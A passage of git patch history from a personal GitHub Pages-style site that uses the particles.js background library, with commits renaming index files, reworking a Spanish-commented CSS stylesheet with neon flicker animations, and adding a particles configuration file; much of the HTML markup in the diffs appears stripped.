Date).getTime(),i.interactivity.events.onclick.enable)switch(i.interactivity.events.onclick.mode){case"push":i.particles.move.enable?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):1==i.interactivity.modes.push.particles_nb?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):i.interactivity.modes.push.particles_nb>1&&i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb);break;case"remove":i.fn.modes.removeParticles(i.interactivity.modes.remove.particles_nb);break;case"bubble":i.tmp.bubble_clicking=!0;break;case"repulse":i.tmp.repulse_clicking=!0,i.tmp.repulse_count=0,i.tmp.repulse_finish=!1,setTimeout(function(){i.tmp.repulse_clicking=!1},1e3*i.interactivity.modes.repulse.duration)}})},i.fn.vendors.densityAutoParticles=function(){if(i.particles.number.density.enable){var e=i.canvas.el.width*i.canvas.el.height/1e3;i.tmp.retina&&(e/=2*i.canvas.pxratio);var a=e*i.particles.number.value/i.particles.number.density.value_area,t=i.particles.array.length-a;0>t?i.fn.modes.pushParticles(Math.abs(t)):i.fn.modes.removeParticles(t)}},i.fn.vendors.checkOverlap=function(e,a){for(var t=0;tv;v++)e.lineTo(i,0),e.translate(i,0),e.rotate(l);e.fill(),e.restore()},i.fn.vendors.exportImg=function(){window.open(i.canvas.el.toDataURL("image/png"),"_blank")},i.fn.vendors.loadImg=function(e){if(i.tmp.img_error=void 0,""!=i.particles.shape.image.src)if("svg"==e){var a=new XMLHttpRequest;a.open("GET",i.particles.shape.image.src),a.onreadystatechange=function(e){4==a.readyState&&(200==a.status?(i.tmp.source_svg=e.currentTarget.response,i.fn.vendors.checkBeforeDraw()):(console.log("Error pJS - Image not found"),i.tmp.img_error=!0))},a.send()}else{var t=new Image;t.addEventListener("load",function(){i.tmp.img_obj=t,i.fn.vendors.checkBeforeDraw()}),t.src=i.particles.shape.image.src}else console.log("Error pJS - No image.src"),i.tmp.img_error=!0},i.fn.vendors.draw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type?i.tmp.count_svg>=i.particles.number.value?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):void 0!=i.tmp.img_obj?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame))},i.fn.vendors.checkBeforeDraw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type&&void 0==i.tmp.source_svg?i.tmp.checkAnimFrame=requestAnimFrame(check):(cancelRequestAnimFrame(i.tmp.checkAnimFrame),i.tmp.img_error||(i.fn.vendors.init(),i.fn.vendors.draw())):(i.fn.vendors.init(),i.fn.vendors.draw())},i.fn.vendors.init=function(){i.fn.retinaInit(),i.fn.canvasInit(),i.fn.canvasSize(),i.fn.canvasPaint(),i.fn.particlesCreate(),i.fn.vendors.densityAutoParticles(),i.particles.line_linked.color_rgb_line=hexToRgb(i.particles.line_linked.color)},i.fn.vendors.start=function(){isInArray("image",i.particles.shape.type)?(i.tmp.img_type=i.particles.shape.image.src.substr(i.particles.shape.image.src.length-3),i.fn.vendors.loadImg(i.tmp.img_type)):i.fn.vendors.checkBeforeDraw()},i.fn.vendors.eventsListeners(),i.fn.vendors.start()};Object.deepExtend=function(e,a){for(var t in a)a[t]&&a[t].constructor&&a[t].constructor===Object?(e[t]=e[t]||{},arguments.callee(e[t],a[t])):e[t]=a[t];return e},window.requestAnimFrame=function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)}}(),window.cancelRequestAnimFrame=function(){return window.cancelAnimationFrame||window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||clearTimeout}(),window.pJSDom=[],window.particlesJS=function(e,a){"string"!=typeof e&&(a=e,e="particles-js"),e||(e="particles-js");var t=document.getElementById(e),i="particles-js-canvas-el",s=t.getElementsByClassName(i);if(s.length)for(;s.length>0;)t.removeChild(s[0]);var n=document.createElement("canvas");n.className=i,n.style.width="100%",n.style.height="100%";var r=document.getElementById(e).appendChild(n);null!=r&&pJSDom.push(new pJS(e,a))},window.particlesJS.load=function(e,a,t){var i=new XMLHttpRequest;i.open("GET",a),i.onreadystatechange=function(a){if(4==i.readyState)if(200==i.status){var s=JSON.parse(a.currentTarget.response);window.particlesJS(e,s),t&&t()}else console.log("Error pJS - XMLHttpRequest status: "+i.status),console.log("Error pJS - File config not found")},i.send()}; From c4de697eaaf8cb7082f62344035aad8de512a38b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 04:36:44 +0200 Subject: [PATCH 0812/1701] Create index.html --- index.html | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 index.html diff --git a/index.html b/index.html new file mode 100644 index 00000000000..3b04712c749 --- /dev/null +++ b/index.html @@ -0,0 +1,39 @@ + + + + + + + Particles JS + + + + + +

+
+ + +
+ + + + + + + + + From a1fcbea9f95da6b70d418dac26369ec4b750e2aa Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 04:38:13 +0200 Subject: [PATCH 0813/1701] Update index.html --- index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.html b/index.html index 3b04712c749..d8ce1576b10 100644 --- a/index.html +++ b/index.html @@ -30,7 +30,7 @@

- + From e8a0b5ace041d35adb9c9e6610a0a0e8db6046ee Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 04:40:25 +0200 Subject: [PATCH 0814/1701] Delete estilos.css --- assets/css/estilos.css | 326 ----------------------------------------- 1 file changed, 326 deletions(-) delete mode 100644 assets/css/estilos.css diff --git a/assets/css/estilos.css b/assets/css/estilos.css deleted file mode 100644 index f8f70fddbce..00000000000 --- a/assets/css/estilos.css +++ /dev/null @@ -1,326 +0,0 @@ -/* ESTILOS GENERALES */ -* { - margin: 0; - padding: 0; - box-sizing: border-box; -} - -body { - #background-color:#000; - color: #fff; - font-size: 18px; - font-family: 'Lato', sans-serif; - font-weight: 300; -} - -particles-js { - height: 100vh; - width: 100%; - position: relative; - z-index: -100; -} - - -.barra-navegacion ul { - display: flex; - justify-content: space-between; - align-items: center; -} - -.barra-navegacion li { - list-style: none; - display: inline-block; -} - -.barra-navegacion .logo { - color:#3dff3e; - font-size: 50px; -} - -.barra-navegacion a { - text-decoration: none; - color: #fff; - font-size: 19px; - font-family: 'Lato', sans-serif; - font-weight: 400; - text-transform: uppercase; - border-bottom: 1px solid transparent; - transition: .5s ease; - -} - -.barra-navegacion a:hover { - color: #3dff3e; - border-bottom: 1px solid currentcolor; - -} - -.contenido-descripcion { - width: 60%; - display: flex; - height: 100%; - align-items: center; -} - -.contenido-descripcion .titulo { - text-transform: uppercase; - letter-spacing: 5px; - -} - -.contenido-descripcion .titulo span:first-child { - color: #3dff3e; - font-weight: 900; - font-size: 100px; - font-family: fantasy; -} - -.contenido-descripcion .btn-link { - display: inline-block; - padding: 10px 20px; - margin: 25px 0; - text-transform: uppercase; - text-decoration: none; - color: #3dff3e; - border: 1px solid #555555; - animation: parpadeo 2s linear infinite; - transition: .7s ease; - background-position:center; - padding: 20px 30px; - position: relative; - z-index: 99; - opacity: .99; -} - -.contenido-descripcion .btn-link:hover { - border: 1px solid #3dff3e; - animation: none; - position: relative; - margin-top: -915px; - z-index: 99; - opacity: .99 - -} - - -@keyframes parpadeo { - 0%, 41%, 45%, 47%, 49.5%, 100% { - opacity: 1; - } - - 42%, 44%, 46%,48%, 50% { - opacity: 0; - } -} - - - -@font-face { - font-family: Clip; - src: url("https://acupoftee.github.io/fonts/Clip.ttf"); -} - -/* body { */ - /* background-color: #141114; */ - /* background-image: linear-gradient(335deg, black 23px, transparent 23px),*/ - /* linear-gradient(155deg, black 23px, transparent 23px), */ - /* linear-gradient(335deg, black 23px, transparent 23px),*/ - /* linear-gradient(155deg, black 23px, transparent 23px);*/ - /* background-size: 58px 58px;*/ - /* background-position: 0px 2px, 4px 35px, 29px 31px, 34px 6px;*/ -/*}*/ - -.sign { - position: absolute; - display: flex; - justify-content: center; - align-items: center; - width: 20%; - height: 20%; - background-image: radial-gradient( - ellipse 50% 35% at 50% 50%, - #6b1839, - transparent - ); - transform: translate(-50%, -50%); - letter-spacing: 2; - left: 50%; - top: 50%; - font-family: "Clip"; - text-transform: uppercase; - font-size: 6em; - color: #ffe6ff; - text-shadow: 0 0 0.6rem #ffe6ff, 0 0 1.5rem #ff65bd, - -0.2rem 0.1rem 1rem #ff65bd, 0.2rem 0.1rem 1rem #ff65bd, - 0 -0.5rem 2rem #ff2483, 0 0.5rem 3rem #ff2483; - animation: shine 2s forwards, flicker 3s infinite; -} - -@keyframes blink { - 0%, - 22%, - 36%, - 75% { - color: #ffe6ff; - text-shadow: 0 0 0.6rem #ffe6ff, 0 0 1.5rem #ff65bd, - -0.2rem 0.1rem 1rem #ff65bd, 0.2rem 0.1rem 1rem #ff65bd, - 0 -0.5rem 2rem #ff2483, 0 0.5rem 3rem #ff2483; - } - 28%, - 33% { - color: #ff65bd; - text-shadow: none; - } - 82%, - 97% { - color: #ff2483; - text-shadow: none; - } -} - -.flicker { - animation: shine 2s forwards, blink 3s 2s infinite; -} - -.fast-flicker { - animation: shine 2s forwards, blink 10s 1s infinite; -} - -@keyframes shine { - 0% { - color: #6b1839; - text-shadow: none; - } - 100% { - color: #ffe6ff; - text-shadow: 0 0 0.6rem #ffe6ff, 0 0 1.5rem #ff65bd, - -0.2rem 0.1rem 1rem #ff65bd, 0.2rem 0.1rem 1rem #ff65bd, - 0 -0.5rem 2rem #ff2483, 0 0.5rem 3rem #ff2483; - } -} - -@keyframes flicker { - from { - opacity: 1; - } - - 4% { - opacity: 0.9; - } - - 6% { - opacity: 0.85; - } - - 8% { - opacity: 0.95; - } - - 10% { - opacity: 0.9; - } - - 11% { - opacity: 0.922; - } - - 12% { - opacity: 0.9; - } - - 14% { - opacity: 0.95; - } - - 16% { - opacity: 0.98; - } - - 17% { - opacity: 0.9; - } - - 19% { - opacity: 0.93; - } - - 20% { - opacity: 0.99; - } - - 24% { - opacity: 1; - } - - 26% { - opacity: 0.94; - } - - 28% { - opacity: 0.98; - } - - 37% { - opacity: 0.93; - } - - 38% { - opacity: 0.5; - } - - 39% { - opacity: 0.96; - } - - 42% { - opacity: 1; - } - - 44% { - opacity: 0.97; - } - - 46% { - opacity: 0.94; - } - - 56% { - opacity: 0.9; - } - - 58% { - opacity: 0.9; - } - - 60% { - opacity: 0.99; - } - - 68% { - opacity: 1; - } - - 70% { - opacity: 0.9; - } - - 72% { - opacity: 0.95; - } - - 93% { - opacity: 0.93; - } - - 95% { - opacity: 0.95; - } - - 97% { - opacity: 0.93; - } - - to { - opacity: 1; - } -} From e35d8b69f481c958fac849ba08a7e233be0e7538 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 04:41:25 +0200 Subject: [PATCH 0815/1701] Create estilos.css --- assets/css/estilos.css | 92 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 assets/css/estilos.css diff --git a/assets/css/estilos.css b/assets/css/estilos.css new file mode 100644 index 00000000000..095b2c1cbee --- /dev/null +++ b/assets/css/estilos.css @@ -0,0 +1,92 @@ +/* ESTILOS GENERALES */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + background-color:#000; + color: #fff; + font-size: 18px; + font-family: 'Lato', sans-serif; + font-weight: 300; +} + +#particles-js { + height: 100%; + width: 100%; + position: fixed; + z-index: -1; +} + +.contenedor { + width: 30%; /* Ancho del contenedor */ + max-width: 1200px; + background-size: cover; + background-image: url('../img/bg-header3.jpeg'); + background-position:center; + margin-left: auto; + margin-right: auto; + margin-top: 250px; /* Posición del contenedor en la página */ + padding: 20px 30px; + position: relative; + z-index: 99; + opacity: .85; +} + +.contenedor.header { + height: calc(100% - 55px); /* Altura del contenedor */ + border: 3px solid #555555; +} + +.contenido-descripcion { + width: 60%; + display: flex; + height: 100%; + align-items: center; +} + +.contenido-descripcion .titulo { + text-transform: uppercase; + letter-spacing: 5px; +} + +.contenido-descripcion .titulo span:first-child { + font-size: 50px; + display: block; + font-weight: 300; +} + +.contenido-descripcion .titulo span:last-child { + font-weight: 900; + font-size: 100px; +} + +.contenido-descripcion .btn-link { + display: inline-block; + padding: 10px 20px; + margin: 25px 0; + text-transform: uppercase; + text-decoration: none; + color: #3dff3e; + border: 1px solid #555555; + animation: parpadeo 2s linear infinite; + transition: .7s ease; +} + +.contenido-descripcion .btn-link:hover { + border: 1px solid #3dff3e; + animation: none; +} + + +@keyframes parpadeo { + 0%, 41%, 45%, 47%, 49.5%, 100% { + opacity: 1; + } + + 42%, 44%, 46%,48%, 50% { + opacity: 0; + } +} From 93cd5fb7be121b6f7a91418ebc0819778aba8c0c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 04:43:29 +0200 Subject: [PATCH 0816/1701] Rename index.md to index1.md --- index.md => index1.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index.md => index1.md (100%) diff --git a/index.md b/index1.md similarity index 100% rename from index.md rename to index1.md From 766584217973510bff1dc0e9260d33baf35c78ee Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 04:47:34 +0200 Subject: [PATCH 0817/1701] Update index.html --- index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.html b/index.html index d8ce1576b10..44c23e08f34 100644 --- a/index.html +++ b/index.html @@ -8,7 +8,7 @@ + From 05ad34b809b17fe468e0f275eb3713b80c2ec906 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 05:02:22 +0200 Subject: [PATCH 0818/1701] Update index.html --- index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.html b/index.html index 44c23e08f34..d8ce1576b10 100644 --- a/index.html +++ b/index.html @@ -8,7 +8,7 @@ + From d33cf3fd3ade44e749849e0cbc05ff55f61c9fcf Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 05:04:31 +0200 Subject: [PATCH 0819/1701] Rename index1.md to index.md --- index1.md => index.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index1.md => index.md (100%) diff --git a/index1.md b/index.md similarity index 100% rename from index1.md rename to index.md From b9b262d41b68a9f8fa6bb49b84189dd6d78ab187 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 05:04:57 +0200 Subject: [PATCH 0820/1701] Rename index.html to index1.html --- index.html => index1.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index.html => index1.html (100%) diff --git a/index.html b/index1.html similarity index 100% rename from index.html rename to index1.html From 3d2cc5beaa62f7b8ba6d4d703a162e9e3a56ea60 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 13:01:27 +0200 Subject: [PATCH 0821/1701] Rename index1.html to index.html --- index1.html => index.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index1.html => index.html (100%) diff --git a/index1.html b/index.html similarity index 100% rename from index1.html rename to index.html From 0eef4b79865ef76a22faed411ec2704162654e11 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 13:01:45 +0200 Subject: [PATCH 0822/1701] Rename index.md to index1.md --- index.md => index1.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index.md => index1.md (100%) diff --git a/index.md b/index1.md similarity index 100% rename from index.md rename to index1.md From 650ba877bee90b45d5c48b26d44271dd6d1b3846 Mon Sep 17 00:00:00 2001 From: Firox Date: Wed, 1 Jun 2022 15:56:27 +0200 Subject: [PATCH 0823/1701] Se agrega el proyecto --- assets/css/estilos.css | 236 ++++++++++++++++++++++++++++++++----- index.html | 15 +-- js/app.js | 133 +++++++++++++++++++++ js/particles.min.js.save | 119 +++++++++++++++++++ js/particles.min.js.save.1 | 10 ++ 5 files changed, 473 insertions(+), 40 deletions(-) create mode 100644 js/app.js create mode 100644 js/particles.min.js.save create mode 100644 js/particles.min.js.save.1 diff --git a/assets/css/estilos.css b/assets/css/estilos.css index 095b2c1cbee..cb24e3a3d85 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -13,33 +13,13 @@ body { font-weight: 300; } -#particles-js { - height: 100%; - width: 100%; +particles-js { + height: 100vh; + width: 100%; position: fixed; z-index: -1; } -.contenedor { - width: 30%; /* Ancho del contenedor */ - max-width: 1200px; - background-size: cover; - background-image: url('../img/bg-header3.jpeg'); - background-position:center; - margin-left: auto; - margin-right: auto; - margin-top: 250px; /* Posición del contenedor en la página */ - padding: 20px 30px; - position: relative; - z-index: 99; - opacity: .85; -} - -.contenedor.header { - height: calc(100% - 55px); /* Altura del contenedor */ - border: 3px solid #555555; -} - .contenido-descripcion { width: 60%; display: flex; @@ -58,15 +38,10 @@ body { font-weight: 300; } -.contenido-descripcion .titulo span:last-child { - font-weight: 900; - font-size: 100px; -} - .contenido-descripcion .btn-link { display: inline-block; padding: 10px 20px; - margin: 25px 0; + margin: 100px 0; text-transform: uppercase; text-decoration: none; color: #3dff3e; @@ -90,3 +65,206 @@ body { opacity: 0; } } + +/* LETRERO LUMINOSO*/ + + +@font-face { + font-family: Clip; + src: url("https://acupoftee.github.io/fonts/Clip.ttf"); +} + +.sign { + position: absolute; + display: flex; + justify-content: center; + align-items: center; + width: 50%; + height: 50%; + background-image: radial-gradient( + ellipse 50% 35% at 50% 50%, + #186b4a, + transparent + ); + transform: translate(-50%, -50%); + letter-spacing: 2; + left: 50%; + top: 50%; + font-family: "Clip"; + text-transform: uppercase; + font-size: 6em; + color: #e6ffe6; + text-shadow: 0 0 0.6rem #e6ffe6, 0 0 1.5rem #66ffa8, + -0.2rem 0.1rem 1rem #66ffa8, 0.2rem 0.1rem 1rem #66ffa8, + 0 -0.5rem 2rem #24ffa0, 0 0.5rem 3rem #24ffa0; + animation: shine 2s forwards, flicker 3s infinite; +} + +@keyframes blink { + 0%, + 22%, + 36%, + 75% { + color: #e6ffe6; + text-shadow: 0 0 0.6rem #e6ffe6, 0 0 1.5rem #66ffa8, + -0.2rem 0.1rem 1rem #66ffa8, 0.2rem 0.1rem 1rem #66ffa8, + 0 -0.5rem 2rem #24ffa0, 0 0.5rem 3rem #24ffa0; + } + 28%, + 33% { + color: #66ffa8; + text-shadow: none; + } + 82%, + 97% { + color: #24ffa0; + text-shadow: none; + } +} + +.flicker { + animation: shine 2s forwards, blink 3s 2s infinite; +} + +.fast-flicker { + animation: shine 2s forwards, blink 10s 1s infinite; +} + +@keyframes shine { + 0% { + color: #186b4a; + text-shadow: none; + } + 100% { + color: #e6ffe6; + text-shadow: 0 0 0.6rem #e6ffe6, 0 0 1.5rem #66ffa8, + -0.2rem 0.1rem 1rem #66ffa8, 0.2rem 0.1rem 1rem #66ffa8, + 0 -0.5rem 2rem #24ffa0, 0 0.5rem 3rem #24ffa0; + } +} + +@keyframes flicker { + from { + opacity: 1; + } + + 4% { + opacity: 0.9; + } + + 6% { + opacity: 0.85; + } + + 8% { + opacity: 0.95; + } + + 10% { + opacity: 0.9; + } + + 11% { + opacity: 0.922; + } + + 12% { + opacity: 0.9; + } + + 14% { + opacity: 0.95; + } + + 16% { + opacity: 0.98; + } + + 17% { + opacity: 0.9; + } + + 19% { + opacity: 0.93; + } + + 20% { + opacity: 0.99; + } + + 24% { + opacity: 1; + } + + 26% { + opacity: 0.94; + } + + 28% { + opacity: 0.98; + } + + 37% { + opacity: 0.93; + } + + 38% { + opacity: 0.5; + } + + 39% { + opacity: 0.96; + } + + 42% { + opacity: 1; + } + + 44% { + opacity: 0.97; + } + + 46% { + opacity: 0.94; + } + + 56% { + opacity: 0.9; + } + + 58% { + opacity: 0.9; + } + + 60% { + opacity: 0.99; + } + + 68% { + opacity: 1; + } + + 70% { + opacity: 0.9; + } + + 72% { + opacity: 0.95; + } + + 93% { + opacity: 0.93; + } + + 95% { + opacity: 0.95; + } + + 97% { + opacity: 0.93; + } + + to { + opacity: 1; + } +} diff --git a/index.html b/index.html index d8ce1576b10..252ad9d4abf 100644 --- a/index.html +++ b/index.html @@ -6,9 +6,9 @@ Particles JS - - + @@ -17,21 +17,14 @@
-

- Ethical - Hacking -

- + F1R0X

- + diff --git a/js/app.js b/js/app.js new file mode 100644 index 00000000000..45035b56e46 --- /dev/null +++ b/js/app.js @@ -0,0 +1,133 @@ +/* ----------------------------------------------- +/* How to use? : Check the GitHub README +/* ----------------------------------------------- */ + +/* To load a config file (particles.json) you need to host this demo (MAMP/WAMP/local)... */ +/* +particlesJS.load('particles-js', 'particles.json', function() { + console.log('particles.js loaded - callback'); +}); +*/ + +/* Otherwise just put the config content (json): */ + +particlesJS('particles-js', + + { + "particles": { + "number": { + "value": 80, + "density": { + "enable": true, + "value_area": 800 + } + }, + "color": { + "value": "#66ffa8" + }, + "shape": { + "type": "circle", + "stroke": { + "width": 0, + "color": "#000000" + }, + "polygon": { + "nb_sides": 5 + }, + "image": { + "src": "img/github.svg", + "width": 100, + "height": 100 + } + }, + "opacity": { + "value": 0.5, + "random": false, + "anim": { + "enable": false, + "speed": 1, + "opacity_min": 0.1, + "sync": false + } + }, + "size": { + "value": 5, + "random": true, + "anim": { + "enable": false, + "speed": 40, + "size_min": 0.1, + "sync": false + } + }, + "line_linked": { + "enable": true, + "distance": 150, + "color": "#ffffff", + "opacity": 0.4, + "width": 1 + }, + "move": { + "enable": true, + "speed": 6, + "direction": "none", + "random": false, + "straight": false, + "out_mode": "out", + "attract": { + "enable": false, + "rotateX": 600, + "rotateY": 1200 + } + } + }, + "interactivity": { + "detect_on": "canvas", + "events": { + "onhover": { + "enable": true, + "mode": "repulse" + }, + "onclick": { + "enable": true, + "mode": "push" + }, + "resize": true + }, + "modes": { + "grab": { + "distance": 400, + "line_linked": { + "opacity": 1 + } + }, + "bubble": { + "distance": 400, + "size": 40, + "duration": 2, + "opacity": 8, + "speed": 3 + }, + "repulse": { + "distance": 200 + }, + "push": { + "particles_nb": 4 + }, + "remove": { + "particles_nb": 2 + } + } + }, + "retina_detect": true, + "config_demo": { + "hide_card": false, + "background_color": "#b61924", + "background_image": "", + "background_position": "50% 50%", + "background_repeat": "no-repeat", + "background_size": "cover" + } + } + +); diff --git a/js/particles.min.js.save b/js/particles.min.js.save new file mode 100644 index 00000000000..325f8e600d6 --- /dev/null +++ b/js/particles.min.js.save @@ -0,0 +1,119 @@ +{ + "particles": { + "number": { + "value": 28, + "density": { + "enable": true, + "value_area": 315.65905665290904 + } + }, + "color": { + "value": "#a7de3d" + }, + "shape": { + "type": "circle", + "stroke": { + "width": 0, + "color": "#000000" + }, + "polygon": { + "nb_sides": 5 + }, + "image": { + "src": "img/github.svg", + "width": 100, + "height": 100 + } + }, + "opacity": { + "value": 0.5, + "random": false, + "anim": { + "enable": false, + "speed": 1, + "opacity_min": 0.1, + "sync": false + } + }, + "size": { + "value": 3, + "random": true, + "anim": { + "enable": false, + "speed": 40, + "size_min": 0.1, + "sync": false + } + }, + "line_linked": { + "enable": true, + "distance": 150, + "color": "#ffffff", + "opacity": 0.4, + "width": 1 + }, + "move": { + "enable": true, + "speed": 6, + "direction": "none", + "random": false, + "straight": false, + "out_mode": "out", + "bounce": false, + "attract": { + "enable": false, + "rotateX": 600, + "rotateY": 1200 + } + } + }, + "interactivity": { + "detect_on": "canvas", + "events": { + "onhover": { + "enable": true, + "mode": "repulse" + }, + "onclick": { + "enable": true, + "mode": "push" + }, + "resize": true + }, + "modes": { + "grab": { + "distance": 400, + "line_linked": { + "opacity": 1 + } + }, + "bubble": { + "distance": 400, + "size": 40, + "duration": 2, + "opacity": 8, + "speed": 3 + }, + "repulse": { + "distance": 200, + "duration": 0.4 + }, + "push": { + "particles_nb": 4 + }, + "remove": { + "particles_nb": 2 + } + } + }, + "retina_detect": true +} +/* ----------------------------------------------- +/* Author : Vincent Garreau - vincentgarreau.com +/* MIT license: http://opensource.org/licenses/MIT +/* Demo / Generator : vincentgarreau.com/particles.js +/* GitHub : github.com/VincentGarreau/particles.js +/* How to use? : Check the GitHub README +/* v2.0.0 +/* ----------------------------------------------- */ +function hexToRgb(e){var a=/^#?([a-f\d])([a-f\d])([a-f\d])$/i;e=e.replace(a,function(e,a,t,i){return a+a+t+t+i+i});var t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null}function clamp(e,a,t){return Math.min(Math.max(e,a),t)}function isInArray(e,a){return a.indexOf(e)>-1}var pJS=function(e,a){var t=document.querySelector("#"+e+" > .particles-js-canvas-el");this.pJS={canvas:{el:t,w:t.offsetWidth,h:t.offsetHeight},particles:{number:{value:400,density:{enable:!0,value_area:800}},color:{value:"#fff"},shape:{type:"circle",stroke:{width:0,color:"#ff0000"},polygon:{nb_sides:5},image:{src:"",width:100,height:100}},opacity:{value:1,random:!1,anim:{enable:!1,speed:2,opacity_min:0,sync:!1}},size:{value:20,random:!1,anim:{enable:!1,speed:20,size_min:0,sync:!1}},line_linked:{enable:!0,distance:100,color:"#fff",opacity:1,width:1},move:{enable:!0,speed:2,direction:"none",random:!1,straight:!1,out_mode:"out",bounce:!1,attract:{enable:!1,rotateX:3e3,rotateY:3e3}},array:[]},interactivity:{detect_on:"canvas",events:{onhover:{enable:!0,mode:"grab"},onclick:{enable:!0,mode:"push"},resize:!0},modes:{grab:{distance:100,line_linked:{opacity:1}},bubble:{distance:200,size:80,duration:.4},repulse:{distance:200,duration:.4},push:{particles_nb:4},remove:{particles_nb:2}},mouse:{}},retina_detect:!1,fn:{interact:{},modes:{},vendors:{}},tmp:{}};var i=this.pJS;a&&Object.deepExtend(i,a),i.tmp.obj={size_value:i.particles.size.value,size_anim_speed:i.particles.size.anim.speed,move_speed:i.particles.move.speed,line_linked_distance:i.particles.line_linked.distance,line_linked_width:i.particles.line_linked.width,mode_grab_distance:i.interactivity.modes.grab.distance,mode_bubble_distance:i.interactivity.modes.bubble.distance,mode_bubble_size:i.interactivity.modes.bubble.size,mode_repulse_distance:i.interactivity.modes.repulse.distance},i.fn.retinaInit=function(){i.retina_detect&&window.devicePixelRatio>1?(i.canvas.pxratio=window.devicePixelRatio,i.tmp.retina=!0):(i.canvas.pxratio=1,i.tmp.retina=!1),i.canvas.w=i.canvas.el.offsetWidth*i.canvas.pxratio,i.canvas.h=i.canvas.el.offsetHeight*i.canvas.pxratio,i.particles.size.value=i.tmp.obj.size_value*i.canvas.pxratio,i.particles.size.anim.speed=i.tmp.obj.size_anim_speed*i.canvas.pxratio,i.particles.move.speed=i.tmp.obj.move_speed*i.canvas.pxratio,i.particles.line_linked.distance=i.tmp.obj.line_linked_distance*i.canvas.pxratio,i.interactivity.modes.grab.distance=i.tmp.obj.mode_grab_distance*i.canvas.pxratio,i.interactivity.modes.bubble.distance=i.tmp.obj.mode_bubble_distance*i.canvas.pxratio,i.particles.line_linked.width=i.tmp.obj.line_linked_width*i.canvas.pxratio,i.interactivity.modes.bubble.size=i.tmp.obj.mode_bubble_size*i.canvas.pxratio,i.interactivity.modes.repulse.distance=i.tmp.obj.mode_repulse_distance*i.canvas.pxratio},i.fn.canvasInit=function(){i.canvas.ctx=i.canvas.el.getContext("2d")},i.fn.canvasSize=function(){i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i&&i.interactivity.events.resize&&window.addEventListener("resize",function(){i.canvas.w=i.canvas.el.offsetWidth,i.canvas.h=i.canvas.el.offsetHeight,i.tmp.retina&&(i.canvas.w*=i.canvas.pxratio,i.canvas.h*=i.canvas.pxratio),i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i.particles.move.enable||(i.fn.particlesEmpty(),i.fn.particlesCreate(),i.fn.particlesDraw(),i.fn.vendors.densityAutoParticles()),i.fn.vendors.densityAutoParticles()})},i.fn.canvasPaint=function(){i.canvas.ctx.fillRect(0,0,i.canvas.w,i.canvas.h)},i.fn.canvasClear=function(){i.canvas.ctx.clearRect(0,0,i.canvas.w,i.canvas.h)},i.fn.particle=function(e,a,t){if(this.radius=(i.particles.size.random?Math.random():1)*i.particles.size.value,i.particles.size.anim.enable&&(this.size_status=!1,this.vs=i.particles.size.anim.speed/100,i.particles.size.anim.sync||(this.vs=this.vs*Math.random())),this.x=t?t.x:Math.random()*i.canvas.w,this.y=t?t.y:Math.random()*i.canvas.h,this.x>i.canvas.w-2*this.radius?this.x=this.x-this.radius:this.x<2*this.radius&&(this.x=this.x+this.radius),this.y>i.canvas